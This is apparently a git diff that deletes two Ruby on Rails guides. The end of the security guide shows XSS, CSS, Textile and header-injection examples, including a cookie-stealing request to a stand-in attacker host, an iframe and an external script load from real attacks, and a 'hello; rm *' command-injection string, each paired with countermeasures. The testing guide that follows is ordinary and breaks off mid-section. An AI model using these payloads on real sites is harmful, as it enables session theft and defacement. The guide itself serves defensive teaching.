-GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</plain>
-
-You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
-
-h6. Defacement
-
-With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-
-<html>
-<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-</html>
-
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
-
-A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
-
-Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-
-<plain>
-http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
- <script src=http://www.securitylab.ru/test/sc.js></script><!--
-</plain>
-
-h6(#html-injection-countermeasures). Countermeasures
-
-_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-
-Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-
-<ruby>
-strip_tags("some<<b>script>alert('hello')<</b>/script>")
-</ruby>
-
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-
-<ruby>
-tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-</ruby>
-
-This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-
-As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
-
-h6. Obfuscation and Encoding Injection
-
-Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-
-<html>
-<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
- &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
-</html>
-
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks.
-
-h5. Examples from the Underground
-
-_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
-
-The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
-
-<html>
-<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
- target=""onload="var http_request = false; var Email = '';
- var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
-</html>
-
-The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-
-In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
-
-The MySpace Samy worm will be discussed in the CSS Injection section.
-
-h4. CSS Injection
-
--- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-
-CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
-
-MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-
-<html>
-<div style="background:url('javascript:alert(1)')">
-</html>
-
-So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-</html>
-
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-
-<plain>
-alert(eval('document.body.inne' + 'rHTML'));
-</plain>
-
-The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-</html>
-
-Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
-
-In the end, he got a 4 KB worm, which he injected into his profile page.
-
-The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-
-h5(#css-injection-countermeasures). Countermeasures
-
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
-
-h4. Textile Injection
-
--- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
-
-For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>').to_html
-# => "<script>alert(1)</script>"
-</ruby>
-
-Use the :filter_html option to remove HTML which was not created by the Textile processor.
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-# => "alert(1)"
-</ruby>
-
-However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-
-<ruby>
-RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-# => "<p><a href="javascript:alert(1)">hello</a></p>"
-</ruby>
-
-h5(#textile-injection-countermeasures). Countermeasures
-
-It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-
-h4. Ajax Injection
-
--- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-
-If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-
-h4. Command Line Injection
-
--- _Use user-supplied command line parameters with caution._
-
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
-
-A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
-
-<ruby>
-system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files
-</ruby>
-
-
-h4. Header Injection
-
--- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
-
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-
-Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-
-<ruby>
-redirect_to params[:referer]
-</ruby>
-
-What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</plain>
-
-And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</plain>
-
-Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-
-<plain>
-HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld
-</plain>
-
-So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
-
-h5. Response Splitting
-
-If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-
-<plain>
-HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100 shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html
-</plain>
-
-Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
-
-
-h3. Additional Resources
-
-The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-
-* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
-* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
-* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
-* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile
deleted file mode 100644
index 2341a3522c..0000000000
--- a/railties/guides/source/testing.textile
+++ /dev/null
@@ -1,947 +0,0 @@
-h2. A Guide to Testing Rails Applications
-
-This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
-
-* Understand Rails testing terminology
-* Write unit, functional and integration tests for your application
-* Identify other popular testing approaches and plugins
-
-This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
-
-endprologue.
-
-h3. Why Write Tests for your Rails Applications?
-
-* Rails makes it super easy to write your tests. It starts by producing skeleton test code in the background while you are creating your models and controllers.
-* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
-* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-
-h3. Introduction to Testing
-
-Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-
-h4. The Three Environments
-
-Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
-
-One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
-
-* production
-* development
-* test
-
-This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
-
-For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?
-
-When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
-
-h4. Rails Sets up for Testing from the Word Go
-
-Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
-
-<shell>
-$ ls -F test/
-
-fixtures/ functional/ integration/ test_helper.rb unit/
-</shell>
-
-The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
-
-h4. The Low-Down on Fixtures
-
-For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-
-h5. What are Fixtures?
-
-_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume a single format: *YAML*.
-
-You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
-
-h5. YAML
-
-YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
-
-Here's a sample YAML fixture file:
-
-<yaml>
-# lo & behold! I am a YAML comment!
-david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
-steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-</yaml>
-
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-
-h5. ERB'in It Up
-
-ERB allows you to embed ruby code within templates. YAML fixture format is pre-processed with ERB when you load fixtures. This allows you to use Ruby to help you generate some sample data.
-
-<erb>
-<% earth_size = 20 %>
-mercury:
- size: <%= earth_size / 50 %>
- brightest_on: <%= 113.days.ago.to_s(:db) %>
-
-venus:
- size: <%= earth_size / 2 %>
- brightest_on: <%= 67.days.ago.to_s(:db) %>
-
-mars:
- size: <%= earth_size - 69 %>
- brightest_on: <%= 13.days.from_now.to_s(:db) %>
-</erb>
-
-Anything encased within the
-
-<erb>
-<% %>
-</erb>
-
-tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
-
-h5. Fixtures in Action
-
-Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps:
-
-* Remove any existing data from the table corresponding to the fixture
-* Load the fixture data into the table
-* Dump the fixture data into a variable in case you want to access it directly
-
-h5. Hashes with Special Powers
-
-Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
-
-<ruby>
-# this will return the Hash for the fixture named david
-users(:david)
-
-# this will return the property for david called id
-users(:david).id
-</ruby>
-
-Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
-
-<ruby>
-# using the find method, we grab the "real" david as a User
-david = users(:david).find
-
-# and now we have access to methods only available to a User class
-email(david.girlfriend.email, david.location_tonight)
-</ruby>
-
-h3. Unit Testing your Models
-
-In Rails, unit tests are what you write to test your models.
-
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
-
-NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html
-
-When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
-
-<shell>
-$ rails generate scaffold post title:string body:text
-...
-create app/models/post.rb
-create test/unit/post_test.rb
-create test/fixtures/posts.yml
-...
-</shell>
-
-The default test stub in +test/unit/post_test.rb+ looks like this:
-
-<ruby>
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
- # Replace this with your real tests.
- test "the truth" do
- assert true
- end
-end
-</ruby>
-
-A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-
-<ruby>
-require 'test_helper'
-</ruby>
-
-As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-
-<ruby>
-class PostTest < ActiveSupport::TestCase
-</ruby>
-
-The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
-
-Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
-
-Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So,
-
-<ruby>
-test "the truth" do
- assert true
-end
-</ruby>
-
-acts as if you had written
-
-<ruby>
-def test_the_truth
- assert true
-end
-</ruby>
-
-only the +test+ macro allows a more readable test name. You can still use regular method definitions though.
-
-NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction.
-
-<ruby>
-assert true
-</ruby>
-
-This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
-
-* does this value = that value?
-* is this object nil?
-* does this line of code throw an exception?
-* is the user's password greater than 5 characters?
-
-Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-
-h4. Preparing your Application for Testing
-
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-<shell>
-$ rake db:migrate
-...
-$ rake db:test:load
-</shell>
-
-The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately.
-
-NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist.
-
-h5. Rake Tasks for Preparing your Application for Testing
-
-|_.Tasks |_.Description|
-|+rake db:test:clone+ |Recreate the test database from the current environment's database schema|
-|+rake db:test:clone_structure+ |Recreate the test database from the development structure|
-|+rake db:test:load+ |Recreate the test database from the current +schema.rb+|
-|+rake db:test:prepare+ |Check for pending migrations and load the test schema|
-|+rake db:test:purge+ |Empty the test database.|
-
-TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
-
-h4. Running Tests
-
-Running a test is as simple as invoking the file containing the test cases through Ruby:
-
-<shell>
-$ ruby -Itest test/unit/post_test.rb
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch.
-
-You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
-
-<shell>
-$ ruby -Itest test/unit/post_test.rb -n test_the_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
-
-To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-
-<ruby>
-test "should not save post without title" do
- post = Post.new
- assert !post.save
-end
-</ruby>
-
-Let us run this newly added test.
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite -e
-Started
-F
-Finished in 0.102072 seconds.
-
- 1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-</shell>
-
-In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
-
-<ruby>
-test "should not save post without title" do
- post = Post.new
- assert !post.save, "Saved the post without a title"
-end
-</ruby>
-
-Running this test shows the friendlier assertion message:
-
-<shell>
- 1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
-Saved the post without a title.
-<false> is not true.
-</shell>
-
-Now to get this test to pass we can add a model level validation for the _title_ field.
-
-<ruby>
-class Post < ActiveRecord::Base
- validates :title, :presence => true
-end
-</ruby>
-
-Now the test should pass. Let us verify by running the test again:
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
-
-To see how an error gets reported, here's a test containing an error:
-
-<ruby>
-test "should report error" do
- # some_undefined_variable is not defined elsewhere in the test case
- some_undefined_variable
- assert true
-end
-</ruby>
-
-Now you can see even more output in the console from running the tests:
-
-<shell>
-$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite -e
-Started
-E
-Finished in 0.082603 seconds.
-
- 1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
- /test/unit/post_test.rb:6:in `test_should_report_error'
-
-1 tests, 0 assertions, 0 failures, 1 errors
-</shell>
-
-Notice the 'E' in the output. It denotes a test with error.
-
-NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-
-h4. What to Include in Your Unit Tests
-
-Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-
-h4. Assertions Available
-
-By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the default testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-|_.Assertion |_.Purpose|
-|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.|
-|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true.|
-|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false.|
-|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true.|
-|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false.|
-|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.|
-|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false.|
-|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.|
-|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't match the regular expression.|
-|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
-|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.|
-|+assert_raise( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.|
-|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.|
-|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.|
-|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.|
-|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.|
-|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.|
-|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
-|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
-
-Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
-
-NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-
-h4. Rails Specific Assertions
-
-Rails adds some custom assertions of its own to the +test/unit+ framework:
-
-NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.valid?)+ instead.
-
-|_.Assertion |_.Purpose|
-|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
-|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
-|+assert_no_difference(expressions, message = nil, &amp;block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
-|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
-|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
-|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.|
-
-You'll see the usage of some of these assertions in the next chapter.
-
-h3. Functional Tests for Your Controllers
-
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-
-h4. What to Include in your Functional Tests
-
-You should test for things such as:
-
-* was the web request successful?
-* was the user redirected to the right page?
-* was the user successfully authenticated?
-* was the correct object stored in the response template?
-* was the appropriate message displayed to the user in the view?
-
-Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
-
-Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-
-<ruby>
-test "should get index" do
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
-end
-</ruby>
-
-In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
-
-The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
-
